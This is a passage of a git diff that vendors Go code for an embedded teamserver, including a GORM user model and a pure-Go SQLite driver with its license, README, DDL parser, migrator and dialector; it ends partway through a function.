+++ b/vendor/github.com/reeflective/team/internal/db/user.go
@@ -0,0 +1,47 @@
+package db
+
+/*
+ team - Embedded teamserver for Go programs and CLI applications
+ Copyright (C) 2023 Reeflective
+
+ This program is free software: you can redistribute it and/or modify
+ it under the terms of the GNU General Public License as published by
+ the Free Software Foundation, either version 3 of the License, or
+ (at your option) any later version.
+
+ This program is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+ GNU General Public License for more details.
+
+ You should have received a copy of the GNU General Public License
+ along with this program. If not, see .
+*/
+
+import (
+ "time"
+
+ "github.com/gofrs/uuid"
+ "gorm.io/gorm"
+)
+
+// User - A teamserver user.
+type User struct {
+ ID uuid.UUID `gorm:"primaryKey;->;<-:create;type:uuid;"`
+ CreatedAt time.Time `gorm:"->;<-:create;"`
+ LastSeen time.Time
+ Name string
+ Token string `gorm:"uniqueIndex"`
+}
+
+// BeforeCreate - GORM hook.
+func (o *User) BeforeCreate(tx *gorm.DB) (err error) {
+ o.ID, err = uuid.NewV4()
+ if err != nil {
+ return err
+ }
+
+ o.CreatedAt = time.Now()
+
+ return nil
+}
diff --git a/vendor/github.com/reeflective/team/internal/db/wasmsqlite/License b/vendor/github.com/reeflective/team/internal/db/wasmsqlite/License
new file mode 100644
index 0000000000..037e1653e6
--- /dev/null
+++ b/vendor/github.com/reeflective/team/internal/db/wasmsqlite/License
@@ -0,0 +1,21 @@
+The MIT License (MIT)
+
+Copyright (c) 2013-NOW Jinzhu
+
+Permission is hereby granted, free of charge, to any person obtaining a copy
+of this software and associated documentation files (the "Software"), to deal
+in the Software without restriction, including without limitation the rights
+to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+copies of the Software, and to permit persons to whom the Software is
+furnished to do so, subject to the following conditions:
+
+The above copyright notice and this permission notice shall be included in
+all copies or substantial portions of the Software.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
+THE SOFTWARE.
diff --git a/vendor/github.com/reeflective/team/internal/db/wasmsqlite/README.md b/vendor/github.com/reeflective/team/internal/db/wasmsqlite/README.md
new file mode 100644
index 0000000000..7ffa285949
--- /dev/null
+++ b/vendor/github.com/reeflective/team/internal/db/wasmsqlite/README.md
@@ -0,0 +1,56 @@
+![badge](https://img.shields.io/endpoint?url=https://gist.githubusercontent.com/glebarez/fb4d23f63d866b3e1e58b26d2f5ed01f/raw/badge-gorm-tests.json)
+![badge](https://img.shields.io/endpoint?url=https://gist.githubusercontent.com/glebarez/fb4d23f63d866b3e1e58b26d2f5ed01f/raw/badge-sqlite-version.json)
+ [![Hits](https://hits.seeyoufarm.com/api/count/incr/badge.svg?url=https%3A%2F%2Fgithub.com%2Fglebarez%2Fsqlite&count_bg=%2379C83D&title_bg=%23555555&icon=baidu.svg&icon_color=%23E7E7E7&title=hits&edge_flat=false)](https://hits.seeyoufarm.com)
+# Pure-Go SQLite driver for GORM
+Pure-go (without cgo) implementation of SQLite driver for [GORM](https://gorm.io/)
+This driver has SQLite embedded, you don't need to install one separately.
+
+# Usage
+
+```go
+import (
+ "github.com/glebarez/sqlite"
+ "gorm.io/gorm"
+)
+
+db, err := gorm.Open(sqlite.Open("sqlite.db"), &gorm.Config{})
+```
+
+### In-memory DB example
+```go
+db, err := gorm.Open(sqlite.Open(":memory:"), &gorm.Config{})
+```
+
+### Foreign-key constraint activation
+Foreign-key constraint is disabled by default in SQLite. To activate it, use connection URL parameter:
+```go
+db, err := gorm.Open(sqlite.Open(":memory:?_pragma=foreign_keys(1)"), &gorm.Config{})
+```
+More info: [https://www.sqlite.org/foreignkeys.html](https://www.sqlite.org/foreignkeys.html)
+
+# FAQ
+## How is this better than standard GORM SQLite driver?
+The [standard GORM driver for SQLite](https://github.com/go-gorm/sqlite) has one major drawback: it is based on a [Go-bindings of SQLite C-source](https://github.com/mattn/go-sqlite3) (this is called [cgo](https://go.dev/blog/cgo)). This fact imposes following restrictions on Go developers:
+- to build and run your code, you will need a C compiler installed on a machine
+- SQLite has many features that need to be enabled at compile time (e.g. [json support](https://www.sqlite.org/json1.html)). If you plan to use those, you will have to include proper build tags for every ```go``` command to work properly (```go run```, ```go test```, etc.).
+- Because of C-compiler requirement, you can't build your Go code inside tiny stripped containers like (golang-alpine)
+- Building on GCP is not possible because Google Cloud Platform does not allow gcc to be executed.
+
+**Instead**, this driver is based on pure-Go implementation of SQLite (https://gitlab.com/cznic/sqlite), which is basically an original SQLite C-source AST, translated into Go! So, you may be sure you're using the original SQLite implementation under the hood.
+
+## Is this tested good ?
+Yes, The CI pipeline of this driver employs [whole test base](https://github.com/go-gorm/gorm/tree/master/tests) of GORM, which includes more than **12k** tests (see badge on the page-top). Testing is run against latest major releases of Go:
+- 1.18
+- 1.19
+
+In following environments:
+- Linux
+- Windows
+- MacOS
+
+## Is it fast?
+Well, it's slower than CGo implementation, but not terribly. See the [bechmark of underlying pure-Go driver vs CGo implementation](https://github.com/glebarez/go-sqlite/tree/master/benchmark).
+
+## Included features
+- JSON1 (https://www.sqlite.org/json1.html)
+- Math functions (https://www.sqlite.org/lang_mathfunc.html)
diff --git a/vendor/github.com/reeflective/team/internal/db/wasmsqlite/ddlmod.go b/vendor/github.com/reeflective/team/internal/db/wasmsqlite/ddlmod.go
new file mode 100644
index 0000000000..84260800cb
--- /dev/null
+++ b/vendor/github.com/reeflective/team/internal/db/wasmsqlite/ddlmod.go
@@ -0,0 +1,234 @@
+package wasmsqlite
+
+import (
+ "database/sql"
+ "errors"
+ "fmt"
+ "regexp"
+ "strconv"
+ "strings"
+
+ "gorm.io/gorm/migrator"
+)
+
+var (
+ sqliteSeparator = "`|\"|'|\t"
+ indexRegexp = regexp.MustCompile(fmt.Sprintf("(?is)CREATE(?: UNIQUE)? INDEX [%v]?[\\w\\d-]+[%v]? ON (.*)$", sqliteSeparator, sqliteSeparator))
+ tableRegexp = regexp.MustCompile(fmt.Sprintf("(?is)(CREATE TABLE [%v]?[\\w\\d-]+[%v]?)(?: \\((.*)\\))?", sqliteSeparator, sqliteSeparator))
+ separatorRegexp = regexp.MustCompile(fmt.Sprintf("[%v]", sqliteSeparator))
+ columnsRegexp = regexp.MustCompile(fmt.Sprintf("\\([%v]?([\\w\\d]+)[%v]?(?:,[%v]?([\\w\\d]+)[%v]){0,}\\)", sqliteSeparator, sqliteSeparator, sqliteSeparator, sqliteSeparator))
+ columnRegexp = regexp.MustCompile(fmt.Sprintf("^[%v]?([\\w\\d]+)[%v]?\\s+([\\w\\(\\)\\d]+)(.*)$", sqliteSeparator, sqliteSeparator))
+ defaultValueRegexp = regexp.MustCompile("(?i) DEFAULT \\(?(.+)?\\)?( |COLLATE|GENERATED|$)")
+ regRealDataType = regexp.MustCompile(`[^\d](\d+)[^\d]?`)
+)
+
+type ddl struct {
+ head string
+ fields []string
+ columns []migrator.ColumnType
+}
+
+func parseDDL(strs ...string) (*ddl, error) {
+ var result ddl
+ for _, str := range strs {
+ if sections := tableRegexp.FindStringSubmatch(str); len(sections) > 0 {
+ var (
+ ddlBody = sections[2]
+ ddlBodyRunes = []rune(ddlBody)
+ bracketLevel int
+ quote rune
+ buf string
+ )
+ ddlBodyRunesLen := len(ddlBodyRunes)
+
+ result.head = sections[1]
+
+ for idx := 0; idx < ddlBodyRunesLen; idx++ {
+ var (
+ next rune = 0
+ c = ddlBodyRunes[idx]
+ )
+ if idx+1 < ddlBodyRunesLen {
+ next = ddlBodyRunes[idx+1]
+ }
+
+ if sc := string(c); separatorRegexp.MatchString(sc) {
+ if c == next {
+ buf += sc // Skip escaped quote
+ idx++
+ } else if quote > 0 {
+ quote = 0
+ } else {
+ quote = c
+ }
+ } else if quote == 0 {
+ if c == '(' {
+ bracketLevel++
+ } else if c == ')' {
+ bracketLevel--
+ } else if bracketLevel == 0 {
+ if c == ',' {
+ result.fields = append(result.fields, strings.TrimSpace(buf))
+ buf = ""
+ continue
+ }
+ }
+ }
+
+ if bracketLevel < 0 {
+ return nil, errors.New("invalid DDL, unbalanced brackets")
+ }
+
+ buf += string(c)
+ }
+
+ if bracketLevel != 0 {
+ return nil, errors.New("invalid DDL, unbalanced brackets")
+ }
+
+ if buf != "" {
+ result.fields = append(result.fields, strings.TrimSpace(buf))
+ }
+
+ for _, f := range result.fields {
+ fUpper := strings.ToUpper(f)
+ if strings.HasPrefix(fUpper, "CHECK") ||
+ strings.HasPrefix(fUpper, "CONSTRAINT") {
+ continue
+ }
+
+ if strings.HasPrefix(fUpper, "PRIMARY KEY") {
+ matches := columnsRegexp.FindStringSubmatch(f)
+ if len(matches) > 1 {
+ for _, name := range matches[1:] {
+ for idx, column := range result.columns {
+ if column.NameValue.String == name {
+ column.PrimaryKeyValue = sql.NullBool{Bool: true, Valid: true}
+ result.columns[idx] = column
+ break
+ }
+ }
+ }
+ }
+ } else if matches := columnRegexp.FindStringSubmatch(f); len(matches) > 0 {
+ columnType := migrator.ColumnType{
+ NameValue: sql.NullString{String: matches[1], Valid: true},
+ DataTypeValue: sql.NullString{String: matches[2], Valid: true},
+ ColumnTypeValue: sql.NullString{String: matches[2], Valid: true},
+ PrimaryKeyValue: sql.NullBool{Valid: true},
+ UniqueValue: sql.NullBool{Valid: true},
+ NullableValue: sql.NullBool{Valid: true},
+ DefaultValueValue: sql.NullString{Valid: false},
+ }
+
+ matchUpper := strings.ToUpper(matches[3])
+ if strings.Contains(matchUpper, " NOT NULL") {
+ columnType.NullableValue = sql.NullBool{Bool: false, Valid: true}
+ } else if strings.Contains(matchUpper, " NULL") {
+ columnType.NullableValue = sql.NullBool{Bool: true, Valid: true}
+ }
+ if strings.Contains(matchUpper, " UNIQUE") {
+ columnType.UniqueValue = sql.NullBool{Bool: true, Valid: true}
+ }
+ if strings.Contains(matchUpper, " PRIMARY") {
+ columnType.PrimaryKeyValue = sql.NullBool{Bool: true, Valid: true}
+ }
+ if defaultMatches := defaultValueRegexp.FindStringSubmatch(matches[3]); len(defaultMatches) > 1 {
+ if strings.ToLower(defaultMatches[1]) != "null" {
+ columnType.DefaultValueValue = sql.NullString{String: strings.Trim(defaultMatches[1], `"`), Valid: true}
+ }
+ }
+
+ // data type length
+ matches := regRealDataType.FindAllStringSubmatch(columnType.DataTypeValue.String, -1)
+ if len(matches) == 1 && len(matches[0]) == 2 {
+ size, _ := strconv.Atoi(matches[0][1])
+ columnType.LengthValue = sql.NullInt64{Valid: true, Int64: int64(size)}
+ columnType.DataTypeValue.String = strings.TrimSuffix(columnType.DataTypeValue.String, matches[0][0])
+ }
+
+ result.columns = append(result.columns, columnType)
+ }
+ }
+ } else if matches := indexRegexp.FindStringSubmatch(str); len(matches) > 0 {
+ if columns := columnsRegexp.FindStringSubmatch(matches[1]); len(columns) == 1 {
+ for idx, c := range result.columns {
+ if c.NameValue.String == columns[0] {
+ c.UniqueValue = sql.NullBool{Bool: true, Valid: true}
+ result.columns[idx] = c
+ }
+ }
+ }
+ } else {
+ return nil, errors.New("invalid DDL")
+ }
+ }
+
+ return &result, nil
+}
+
+func (d *ddl) compile() string {
+ if len(d.fields) == 0 {
+ return d.head
+ }
+
+ return fmt.Sprintf("%s (%s)", d.head, strings.Join(d.fields, ","))
+}
+
+func (d *ddl) addConstraint(name string, sql string) {
+ reg := regexp.MustCompile("^CONSTRAINT [\"`]?" + regexp.QuoteMeta(name) + "[\"` ]")
+
+ for i := 0; i < len(d.fields); i++ {
+ if reg.MatchString(d.fields[i]) {
+ d.fields[i] = sql
+ return
+ }
+ }
+
+ d.fields = append(d.fields, sql)
+}
+
+func (d *ddl) removeConstraint(name string) bool {
+ reg := regexp.MustCompile("^CONSTRAINT [\"`]?" + regexp.QuoteMeta(name) + "[\"` ]")
+
+ for i := 0; i < len(d.fields); i++ {
+ if reg.MatchString(d.fields[i]) {
+ d.fields = append(d.fields[:i], d.fields[i+1:]...)
+ return true
+ }
+ }
+ return false
+}
+
+func (d *ddl) hasConstraint(name string) bool {
+ reg := regexp.MustCompile("^CONSTRAINT [\"`]?" + regexp.QuoteMeta(name) + "[\"` ]")
+
+ for _, f := range d.fields {
+ if reg.MatchString(f) {
+ return true
+ }
+ }
+ return false
+}
+
+func (d *ddl) getColumns() []string {
+ res := []string{}
+
+ for _, f := range d.fields {
+ fUpper := strings.ToUpper(f)
+ if strings.HasPrefix(fUpper, "PRIMARY KEY") ||
+ strings.HasPrefix(fUpper, "CHECK") ||
+ strings.HasPrefix(fUpper, "CONSTRAINT") ||
+ strings.Contains(fUpper, "GENERATED ALWAYS AS") {
+ continue
+ }
+
+ reg := regexp.MustCompile("^[\"`']?([\\w\\d]+)[\"`']?")
+ match := reg.FindStringSubmatch(f)
+
+ if match != nil {
+ res = append(res, "`"+match[1]+"`")
+ }
+ }
+ return res
+}
diff --git a/vendor/github.com/reeflective/team/internal/db/wasmsqlite/errors.go b/vendor/github.com/reeflective/team/internal/db/wasmsqlite/errors.go
new file mode 100644
index 0000000000..cb6c61b035
--- /dev/null
+++ b/vendor/github.com/reeflective/team/internal/db/wasmsqlite/errors.go
@@ -0,0 +1,7 @@
+package wasmsqlite
+
+import "errors"
+
+var (
+ ErrConstraintsNotImplemented = errors.New("constraints not implemented on sqlite, consider using DisableForeignKeyConstraintWhenMigrating, more details https://github.com/go-gorm/gorm/wiki/GORM-V2-Release-Note-Draft#all-new-migrator")
+)
diff --git a/vendor/github.com/reeflective/team/internal/db/wasmsqlite/migrator.go b/vendor/github.com/reeflective/team/internal/db/wasmsqlite/migrator.go
new file mode 100644
index 0000000000..0ea6eef487
--- /dev/null
+++ b/vendor/github.com/reeflective/team/internal/db/wasmsqlite/migrator.go
@@ -0,0 +1,423 @@
+package wasmsqlite
+
+import (
+ "database/sql"
+ "fmt"
+ "regexp"
+ "strings"
+
+ "gorm.io/gorm"
+ "gorm.io/gorm/clause"
+ "gorm.io/gorm/migrator"
+ "gorm.io/gorm/schema"
+)
+
+type Migrator struct {
+ migrator.Migrator
+}
+
+func (m *Migrator) RunWithoutForeignKey(fc func() error) error {
+ var enabled int
+ m.DB.Raw("PRAGMA foreign_keys").Scan(&enabled)
+ if enabled == 1 {
+ m.DB.Exec("PRAGMA foreign_keys = OFF")
+ defer m.DB.Exec("PRAGMA foreign_keys = ON")
+ }
+
+ return fc()
+}
+
+func (m Migrator) HasTable(value interface{}) bool {
+ var count int
+ m.Migrator.RunWithValue(value, func(stmt *gorm.Statement) error {
+ return m.DB.Raw("SELECT count(*) FROM sqlite_master WHERE type='table' AND name=?", stmt.Table).Row().Scan(&count)
+ })
+ return count > 0
+}
+
+func (m Migrator) DropTable(values ...interface{}) error {
+ return m.RunWithoutForeignKey(func() error {
+ values = m.ReorderModels(values, false)
+ tx := m.DB.Session(&gorm.Session{})
+
+ for i := len(values) - 1; i >= 0; i-- {
+ if err := m.RunWithValue(values[i], func(stmt *gorm.Statement) error {
+ return tx.Exec("DROP TABLE IF EXISTS ?", clause.Table{Name: stmt.Table}).Error
+ }); err != nil {
+ return err
+ }
+ }
+
+ return nil
+ })
+}
+
+func (m Migrator) GetTables() (tableList []string, err error) {
+ return tableList, m.DB.Raw("SELECT name FROM sqlite_master where type=?", "table").Scan(&tableList).Error
+}
+
+func (m Migrator) HasColumn(value interface{}, name string) bool {
+ var count int
+ m.Migrator.RunWithValue(value, func(stmt *gorm.Statement) error {
+ if stmt.Schema != nil {
+ if field := stmt.Schema.LookUpField(name); field != nil {
+ name = field.DBName
+ }
+ }
+
+ if name != "" {
+ m.DB.Raw(
+ "SELECT count(*) FROM sqlite_master WHERE type = ? AND tbl_name = ? AND (sql LIKE ? OR sql LIKE ? OR sql LIKE ? OR sql LIKE ? OR sql LIKE ?)",
+ "table", stmt.Table, `%"`+name+`" %`, `%`+name+` %`, "%`"+name+"`%", "%["+name+"]%", "%\t"+name+"\t%",
+ ).Row().Scan(&count)
+ }
+ return nil
+ })
+ return count > 0
+}
+
+func (m Migrator) AlterColumn(value interface{}, name string) error {
+ return m.RunWithoutForeignKey(func() error {
+ return m.recreateTable(value, nil, func(rawDDL string, stmt *gorm.Statement) (sql string, sqlArgs []interface{}, err error) {
+ if field := stmt.Schema.LookUpField(name); field != nil {
+ // lookup field from table definition, ddl might looks like `'name' int,` or `'name' int)`
+ reg, err := regexp.Compile("(`|'|\"| )" + field.DBName + "(`|'|\"| ) .*?(,|\\)\\s*$)")
+ if err != nil {
+ return "", nil, err
+ }
+
+ createSQL := reg.ReplaceAllString(rawDDL, fmt.Sprintf("`%v` ?$3", field.DBName))
+
+ if createSQL == rawDDL {
+ return "", nil, fmt.Errorf("failed to look up field %v from DDL %v", field.DBName, rawDDL)
+ }
+
+ return createSQL, []interface{}{m.FullDataTypeOf(field)}, nil
+ }
+ return "", nil, fmt.Errorf("failed to alter field with name %v", name)
+ })
+ })
+}
+
+// ColumnTypes return columnTypes []gorm.ColumnType and execErr error
+func (m Migrator) ColumnTypes(value interface{}) ([]gorm.ColumnType, error) {
+ columnTypes := make([]gorm.ColumnType, 0)
+ execErr := m.RunWithValue(value, func(stmt *gorm.Statement) (err error) {
+ var (
+ sqls []string
+ sqlDDL *ddl
+ )
+
+ if err := m.DB.Raw("SELECT sql FROM sqlite_master WHERE type IN ? AND tbl_name = ? AND sql IS NOT NULL order by type = ? desc", []string{"table", "index"}, stmt.Table, "table").Scan(&sqls).Error; err != nil {
+ return err
+ }
+
+ if sqlDDL, err = parseDDL(sqls...); err != nil {
+ return err
+ }
+
+ rows, err := m.DB.Session(&gorm.Session{}).Table(stmt.Table).Limit(1).Rows()
+ if err != nil {
+ return err
+ }
+ defer func() {
+ err = rows.Close()
+ }()
+
+ var rawColumnTypes []*sql.ColumnType
+ rawColumnTypes, err = rows.ColumnTypes()
+ if err != nil {
+ return err
+ }
+
+ for _, c := range rawColumnTypes {
+ columnType := migrator.ColumnType{SQLColumnType: c}
+ for _, column := range sqlDDL.columns {
+ if column.NameValue.String == c.Name() {
+ column.SQLColumnType = c
+ columnType = column
+ break
+ }
+ }
+ columnTypes = append(columnTypes, columnType)
+ }
+
+ return err
+ })
+
+ return columnTypes, execErr
+}
+
+func (m Migrator) DropColumn(value interface{}, name string) error {
+ return m.recreateTable(value, nil, func(rawDDL string, stmt *gorm.Statement) (sql string, sqlArgs []interface{}, err error) {
+ if field := stmt.Schema.LookUpField(name); field != nil {
+ name = field.DBName
+ }
+
+ reg, err := regexp.Compile("(`|'|\"| |\\[)" + name + "(`|'|\"| |\\]) .*?,")
+ if err != nil {
+ return "", nil, err
+ }
+
+ createSQL := reg.ReplaceAllString(rawDDL, "")
+
+ return createSQL, nil, nil
+ })
+}
+
+func (m Migrator) CreateConstraint(value interface{}, name string) error {
+ return m.RunWithValue(value, func(stmt *gorm.Statement) error {
+ constraint, chk, table := m.GuessConstraintAndTable(stmt, name)
+
+ return m.recreateTable(value, &table,
+ func(rawDDL string, stmt *gorm.Statement) (sql string, sqlArgs []interface{}, err error) {
+ var (
+ constraintName string
+ constraintSql string
+ constraintValues []interface{}
+ )
+
+ if constraint != nil {
+ constraintName = constraint.Name
+ constraintSql, constraintValues = buildConstraint(constraint)
+ } else if chk != nil {
+ constraintName = chk.Name
+ constraintSql = "CONSTRAINT ? CHECK (?)"
+ constraintValues = []interface{}{clause.Column{Name: chk.Name}, clause.Expr{SQL: chk.Constraint}}
+ } else {
+ return "", nil, nil
+ }
+
+ createDDL, err := parseDDL(rawDDL)
+ if err != nil {
+ return "", nil, err
+ }
+ createDDL.addConstraint(constraintName, constraintSql)
+ createSQL := createDDL.compile()
+
+ return createSQL, constraintValues, nil
+ })
+ })
+}
+
+func (m Migrator) DropConstraint(value interface{}, name string) error {
+ return m.RunWithValue(value, func(stmt *gorm.Statement) error {
+ constraint, chk, table := m.GuessConstraintAndTable(stmt, name)
+ if constraint != nil {
+ name = constraint.Name
+ } else if chk != nil {
+ name = chk.Name
+ }
+
+ return m.recreateTable(value, &table,
+ func(rawDDL string, stmt *gorm.Statement) (sql string, sqlArgs []interface{}, err error) {
+ createDDL, err := parseDDL(rawDDL)
+ if err != nil {
+ return "", nil, err
+ }
+ createDDL.removeConstraint(name)
+ createSQL := createDDL.compile()
+
+ return createSQL, nil, nil
+ })
+ })
+}
+
+func (m Migrator) HasConstraint(value interface{}, name string) bool {
+ var count int64
+ m.RunWithValue(value, func(stmt *gorm.Statement) error {
+ constraint, chk, table := m.GuessConstraintAndTable(stmt, name)
+ if constraint != nil {
+ name = constraint.Name
+ } else if chk != nil {
+ name = chk.Name
+ }
+
+ m.DB.Raw(
+ "SELECT count(*) FROM sqlite_master WHERE type = ? AND tbl_name = ? AND (sql LIKE ? OR sql LIKE ? OR sql LIKE ? OR sql LIKE ? OR sql LIKE ?)",
+ "table", table, `%CONSTRAINT "`+name+`" %`, `%CONSTRAINT `+name+` %`, "%CONSTRAINT `"+name+"`%", "%CONSTRAINT ["+name+"]%", "%CONSTRAINT \t"+name+"\t%",
+ ).Row().Scan(&count)
+
+ return nil
+ })
+
+ return count > 0
+}
+
+func (m Migrator) CurrentDatabase() (name string) {
+ var null interface{}
+ m.DB.Raw("PRAGMA database_list").Row().Scan(&null, &name, &null)
+ return
+}
+
+func (m Migrator) BuildIndexOptions(opts []schema.IndexOption, stmt *gorm.Statement) (results []interface{}) {
+ for _, opt := range opts {
+ str := stmt.Quote(opt.DBName)
+ if opt.Expression != "" {
+ str = opt.Expression
+ }
+
+ if opt.Collate != "" {
+ str += " COLLATE " + opt.Collate
+ }
+
+ if opt.Sort != "" {
+ str += " " + opt.Sort
+ }
+ results = append(results, clause.Expr{SQL: str})
+ }
+ return
+}
+
+func (m Migrator) CreateIndex(value interface{}, name string) error {
+ return m.RunWithValue(value, func(stmt *gorm.Statement) error {
+ if idx := stmt.Schema.LookIndex(name); idx != nil {
+ opts := m.BuildIndexOptions(idx.Fields, stmt)
+ values := []interface{}{clause.Column{Name: idx.Name}, clause.Table{Name: stmt.Table}, opts}
+
+ createIndexSQL := "CREATE "
+ if idx.Class != "" {
+ createIndexSQL += idx.Class + " "
+ }
+ createIndexSQL += "INDEX ?"
+
+ if idx.Type != "" {
+ createIndexSQL += " USING " + idx.Type
+ }
+ createIndexSQL += " ON ??"
+
+ if idx.Where != "" {
+ createIndexSQL += " WHERE " + idx.Where
+ }
+
+ return m.DB.Exec(createIndexSQL, values...).Error
+ }
+
+ return fmt.Errorf("failed to create index with name %v", name)
+ })
+}
+
+func (m Migrator) HasIndex(value interface{}, name string) bool {
+ var count int
+ m.RunWithValue(value, func(stmt *gorm.Statement) error {
+ if idx := stmt.Schema.LookIndex(name); idx != nil {
+ name = idx.Name
+ }
+
+ if name != "" {
+ m.DB.Raw(
+ "SELECT count(*) FROM sqlite_master WHERE type = ? AND tbl_name = ? AND name = ?", "index", stmt.Table, name,
+ ).Row().Scan(&count)
+ }
+ return nil
+ })
+ return count > 0
+}
+
+func (m Migrator) RenameIndex(value interface{}, oldName, newName string) error {
+ return m.RunWithValue(value, func(stmt *gorm.Statement) error {
+ var sql string
+ m.DB.Raw("SELECT sql FROM sqlite_master WHERE type = ? AND tbl_name = ? AND name = ?", "index", stmt.Table, oldName).Row().Scan(&sql)
+ if sql != "" {
+ return m.DB.Exec(strings.Replace(sql, oldName, newName, 1)).Error
+ }
+ return fmt.Errorf("failed to find index with name %v", oldName)
+ })
+}
+
+func (m Migrator) DropIndex(value interface{}, name string) error {
+ return m.RunWithValue(value, func(stmt *gorm.Statement) error {
+ if idx := stmt.Schema.LookIndex(name); idx != nil {
+ name = idx.Name
+ }
+
+ return m.DB.Exec("DROP INDEX ?", clause.Column{Name: name}).Error
+ })
+}
+
+func buildConstraint(constraint *schema.Constraint) (sql string, results []interface{}) {
+ sql = "CONSTRAINT ? FOREIGN KEY ? REFERENCES ??"
+ if constraint.OnDelete != "" {
+ sql += " ON DELETE " + constraint.OnDelete
+ }
+
+ if constraint.OnUpdate != "" {
+ sql += " ON UPDATE " + constraint.OnUpdate
+ }
+
+ var foreignKeys, references []interface{}
+ for _, field := range constraint.ForeignKeys {
+ foreignKeys = append(foreignKeys, clause.Column{Name: field.DBName})
+ }
+
+ for _, field := range constraint.References {
+ references = append(references, clause.Column{Name: field.DBName})
+ }
+ results = append(results, clause.Table{Name: constraint.Name}, foreignKeys, clause.Table{Name: constraint.ReferenceSchema.Table}, references)
+ return
+}
+
+func (m Migrator) getRawDDL(table string) (string, error) {
+ var createSQL string
+ m.DB.Raw("SELECT sql FROM sqlite_master WHERE type = ? AND tbl_name = ? AND name = ?", "table", table, table).Row().Scan(&createSQL)
+
+ if m.DB.Error != nil {
+ return "", m.DB.Error
+ }
+ return createSQL, nil
+}
+
+func (m Migrator) recreateTable(value interface{}, tablePtr *string,
+ getCreateSQL func(rawDDL string, stmt *gorm.Statement) (sql string, sqlArgs []interface{}, err error)) error {
+ return m.RunWithValue(value, func(stmt *gorm.Statement) error {
+ table := stmt.Table
+ if tablePtr != nil {
+ table = *tablePtr
+ }
+
+ rawDDL, err := m.getRawDDL(table)
+ if err != nil {
+ return err
+ }
+
+ newTableName := table + "__temp"
+
+ createSQL, sqlArgs, err := getCreateSQL(rawDDL, stmt)
+ if err != nil {
+ return err
+ }
+ if createSQL == "" {
+ return nil
+ }
+
+ tableReg, err := regexp.Compile(" ('|`|\"| )" + table + "('|`|\"| ) ")
+ if err != nil {
+ return err
+ }
+ createSQL = tableReg.ReplaceAllString(createSQL, fmt.Sprintf(" `%v` ", newTableName))
+
+ createDDL, err := parseDDL(createSQL)
+ if err != nil {
+ return err
+ }
+ columns := createDDL.getColumns()
+
+ return m.DB.Transaction(func(tx *gorm.DB) error {
+ if err := tx.Exec(createSQL, sqlArgs...).Error; err != nil {
+ return err
+ }
+
+ queries := []string{
+ fmt.Sprintf("INSERT INTO `%v`(%v) SELECT %v FROM `%v`", newTableName, strings.Join(columns, ","), strings.Join(columns, ","), table),
+ fmt.Sprintf("DROP TABLE `%v`", table),
+ fmt.Sprintf("ALTER TABLE `%v` RENAME TO `%v`", newTableName, table),
+ }
+ for _, query := range queries {
+ if err := tx.Exec(query).Error; err != nil {
+ return err
+ }
+ }
+ return nil
+ })
+ })
+}
diff --git a/vendor/github.com/reeflective/team/internal/db/wasmsqlite/sqlite.go b/vendor/github.com/reeflective/team/internal/db/wasmsqlite/sqlite.go
new file mode 100644
index 0000000000..2368ce791a
--- /dev/null
+++ b/vendor/github.com/reeflective/team/internal/db/wasmsqlite/sqlite.go
@@ -0,0 +1,224 @@
+package wasmsqlite
+
+import (
+ "context"
+ "database/sql"
+ "strconv"
+ "strings"
+
+ "gorm.io/gorm/callbacks"
+
+ _ "github.com/ncruces/go-sqlite3"
+ _ "github.com/ncruces/go-sqlite3/driver"
+ _ "github.com/ncruces/go-sqlite3/embed"
+
+ "gorm.io/gorm"
+ "gorm.io/gorm/clause"
+ "gorm.io/gorm/logger"
+ "gorm.io/gorm/migrator"
+ "gorm.io/gorm/schema"
+)
+
+// DriverName is the default driver name for SQLite.
+const DriverName = "sqlite3"
+
+type Dialector struct {
+ DriverName string
+ DSN string
+ Conn gorm.ConnPool
+}
+
+func Open(dsn string) gorm.Dialector {
+ return &Dialector{DSN: dsn}
+}
+
+func (dialector Dialector) Name() string {
+ return "sqlite"
+}
+
+func (dialector Dialector) Initialize(db *gorm.DB) (err error) {
+ if dialector.DriverName == "" {
+ dialector.DriverName = DriverName
+ }
+
+ if dialector.Conn != nil {
+ db.ConnPool = dialector.Conn
+ } else {
+ conn, err := sql.Open(dialector.DriverName, dialector.DSN)
+ if err != nil {
+ return err
+ }
+ db.ConnPool = conn
+ }
+
+ var version string
+ if err := db.ConnPool.QueryRowContext(context.Background(), "select sqlite_version()").Scan(&version); err != nil {
+ return err
+ }
+ // https://www.sqlite.org/releaselog/3_35_0.html
+ if compareVersion(version, "3.35.0") >= 0 {
+ callbacks.RegisterDefaultCallbacks(db, &callbacks.Config{
+ CreateClauses: []string{"INSERT", "VALUES", "ON CONFLICT", "RETURNING"},
+ UpdateClauses: []string{"UPDATE", "SET", "WHERE", "RETURNING"},
+ DeleteClauses: []string{"DELETE", "FROM", "WHERE", "RETURNING"},
+ LastInsertIDReversed: true,
+ })
+ } else {
+ callbacks.RegisterDefaultCallbacks(db, &callbacks.Config{
+ LastInsertIDReversed: true,
+ })
+ }
+
+ for k, v := range dialector.ClauseBuilders() {
+ db.ClauseBuilders[k] = v
+ }
+ return
+}
+
+func (dialector Dialector) ClauseBuilders() map[string]clause.ClauseBuilder {
+ return map[string]clause.ClauseBuilder{
+ "INSERT": func(c clause.Clause, builder clause.Builder) {
+ if insert, ok := c.Expression.(clause.Insert); ok {
+ if stmt, ok := builder.(*gorm.Statement); ok {
+ stmt.WriteString("INSERT ")
+ if insert.Modifier != "" {
+ stmt.WriteString(insert.Modifier)
+ stmt.WriteByte(' ')
+ }
+
+ stmt.WriteString("INTO ")
+ if insert.Table.Name == "" {
+ stmt.WriteQuoted(stmt.Table)
+ } else {
+ stmt.WriteQuoted(insert.Table)
+ }
+ return
+ }
+ }
+
+ c.Build(builder)
+ },
+ "LIMIT": func(c clause.Clause, builder clause.Builder) {
